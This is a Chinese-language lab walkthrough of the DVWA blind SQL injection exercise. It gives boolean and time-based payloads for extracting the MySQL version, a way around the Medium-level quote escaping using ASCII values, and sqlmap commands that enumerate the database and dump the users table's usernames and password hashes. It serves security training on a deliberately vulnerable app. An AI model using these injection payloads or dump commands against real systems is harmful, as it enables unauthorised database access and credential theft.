About

当不能直接通过显示数据来获得数据库数据时,需要使用其他方式判断或者尝试,这个过程
就是盲注。盲注有两个类型:

  • 基于布尔盲注:根据页面返回内容判断
  • 基于时间盲注:根据页面响应时间判断

和盲注相关的函数如下:

  • 获取数据库长度:length(database())>7
  • 返回数据库第一位:left(database(), 1)>'a';
  • 返回 user 的第一个字符的 ASCII 码:ascii(user())>113
  • 延时函数:sleep()

Object

通过 SQL 盲注找到后台数据库的版本。

001 Low

  1. 文本框输入并提交的形式,GET 请求方式;
  2. 未作任何输入过滤和限制,攻击者可任意构造所想输入的 SQL 查询;

布尔盲注

判断注入类型

我们构造一组查询,结果如下:

输入 输出
1 exists
' MISSING
1 and 1=1 # exists
1 and 1=2 # exists
1' and 1=1 # exists
1' and 1=2 # MISSING

由于最后 2 个输入的真假条件不同,返回结果也不同,由此观之是字符型注入。

获得版本号

猜解长度

这里我们要用length()函数来获得字符串长度,用substr(string, start, length)函数来截取字符串。我们构造一组查询,结果如下:

输入 输出
1' and length(substr((select version()), 1)) > 10 # MISSING
1' and length(substr((select version()), 1)) > 5 # exists
1' and length(substr((select version()), 1)) = 6 # exists

使用二分查找,我们很快得知版本号所在的字符串长度为6

猜解内容

MySql 的版本号构成为:

  • 主版本号
  • 此版本号
  • 修订版本号

各个版本号直接依次用.字符连接。MySQL 流行的主版本号要么是 5 要么是 8。我们猜一猜:

  1. 1' and substr((select version()), 1, 1) = '5' #

1-1.png

说明 MySql 的主版本号是 5。

依次使用二分查找,构造如下输入表:

输入 输出
1' and substr((select version()), 2, 1) = '.' # exists
1' and substr((select version()), 3, 1) > '7' # MISSING
1' and substr((select version()), 3, 1) = '7' # exists
1' and substr((select version()), 4, 1) = '.' # exists
1' and substr((select version()), 5, 2) > '25' # exists
1' and substr((select version()), 5, 2) < '30' # exists
1' and substr((select version()), 5, 2) = '26' # exists

总结得到版本号为:5.7.26

时间盲注

所谓时间盲注是利用 sleep()benchmark() 等函数让 Mysql 执行时间变长,通过执行的时间判断是否查询成功。时间盲注经常与 if(expr1,expr2,expr3) 语句结合使用,通过页面的响应时间来判断条件是否正确。

判断注入类型

构造输入表:

输入 输出
1 and sleep(3) # 页面很快响应
1' and sleep(3) # 页面明显卡顿

由此观之服务器存在字符型注入。

获得版本号

猜解长度

if(expr1, expr2, expr3)的含义是:如果expr1为真,则返回expr2,否则返回expr3。我们继续结合二分查找来锁定版本号的长度。

输入 输出
1' and if(length(substr((select version()),1)) > 10, sleep(3), 1) # 响应快
1' and if(length(substr((select version()),1)) > 5, sleep(3), 1) # 响应慢
1' and if(length(substr((select version()),1)) = 6, sleep(3), 1) # 响应慢

由此观之,版本号的长度为 6。

猜解内容

和基于布尔的盲注类似。我们输入

1' and if(substr((select version()),1,1) = '5' , sleep(3), 1) #

来猜解主版本号。观察到响应速度很慢。剩余信息的查找如下:

1' and if(substr((select version()),2,1) = '.' , sleep(3), 1) #
1' and if(substr((select version()),3,1) = '7' , sleep(3), 1) #
1' and if(substr((select version()),4,1) = '.' , sleep(3), 1) #
1' and if(substr((select version()),5,2) = '26' , sleep(3), 1) #

所以版本号为:5.7.26

002 Medium

  1. 下拉列表选择数字 ID 并提交的形式,限制用户在客户端的输入,POST 请求方式;
  2. 利用mysql_real_escape_string()函数对特殊符号(如:单引号'、双引号"、反斜杠\…)进行转义处理;

我们可以用 Hackbar 来辅助我们发送 POST 请求。

布尔盲注

判断注入类型

输入表:

输入(POST DATA) 输出
id=1' or '1'='1 # &Submit=Submit MISSING
id=1 or 1=1 # &Submit=Submit exists

2-1.png

由此观之是数字型注入。

获得版本号

猜解长度

输入:id=1 and length(substr((select version()), 1)) = 6 # &Submit=Submit

2-2.png

说明长度为 6。

猜解内容

单引号在中级别的代码中被过滤了,不过我们可以使用 ASCII 码的值来代替原来单引号括起来的字符。例如注入如下内容,可以测试出版本号第一个字符为5

id=1 and ascii(substr((select version()),1,1)) = 53 # &Submit=Submit

2-3.png

剩下内容参考 Low 等级。

时间盲注

基于时间盲注也一样,需要套个 ascii 函数,用 ascii 码值进行判断。

id=1 and if(ascii(substr((select version()),1,1)) = 53 , sleep(3), 1) # &Submit=Submit

2-4.png

003 High

  1. 将数据提交页面和结果显示界面实行分离在两个不同页面,一定程度上可约束 SQLMap 自动化工具的常规方式扫描(没法完全阻挡);
  2. 在提交页面,利用set-cookie对输入的 ID 值进行传递到显示页面的 cookie 字段中保存;
  3. 在 SQL 语句中添加LIMIT 1,以此限定每次输出的结果只有 1 个记录,不会输出所有记录;
  4. 如果查询失败,会调用sleep()函数等待一会儿。

3-1.png

该等级下我们不能用时间盲注了,可以用布尔盲注完成。剩下的内容和 Low 等级差不多,直接在新弹出的页面填写 SQL 注入语句即可。


Use Sqlmap

Low Level

找到注入点

使用命令:

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/?id=5&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b; security=low" --batch --threads 4

4-1.png

Sqlmap 找到了 3 各注入点:

  • 布尔盲注
  • 报错注入
  • 时间盲注

获得数据库信息

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" --dbs --threads 4

4-2.png

查看数据库中的表

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" -D dvwa --tables --threads 4

4-3.png

查看表里的字段

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" -D dvwa -T users --columns --threads 4

4-4.png

查看字段详细信息

我们发现 user 表里有 user 和 password 字段,我们看看它们的信息:

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" -D dvwa -T users -C "user,password" --dump -v 0 --threads 4 --batch

4-5.png

Medium Level

不同与 Low Level 使用 GET Request,本关卡使用的是 POST Request 发送数据。

例如我们要查找数据库信息,要使用--data="your_post_data"发送 POST Body,见下列命令:

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=medium" --batch --dbs --threads 4

4-6.png

其他步骤和上一关一样。

References